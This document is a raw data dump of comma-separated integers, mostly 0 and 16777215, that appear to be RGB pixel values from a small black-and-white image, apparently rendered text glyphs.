16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,13619151,15724527,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,0,0,0,0,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,13619151,12566463,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,0,13619151,15724527,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,0,12566463,12566463,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,1052688,16777215,16777215,15724527,0,0,0,12566463,16777215,13619151,0,0,0,1052688,13619151,13619151,0,0,0,0,12566463,16777215,16777215,13619151,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,13619151,3158064,0,0,0,1052688,13619151,12566463,0,15724527,13619151,0,0,13619151,3158064,15724527,13619151,0,0,0,0,0,0,16777215,0,16777215,0,0,0,10461087,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,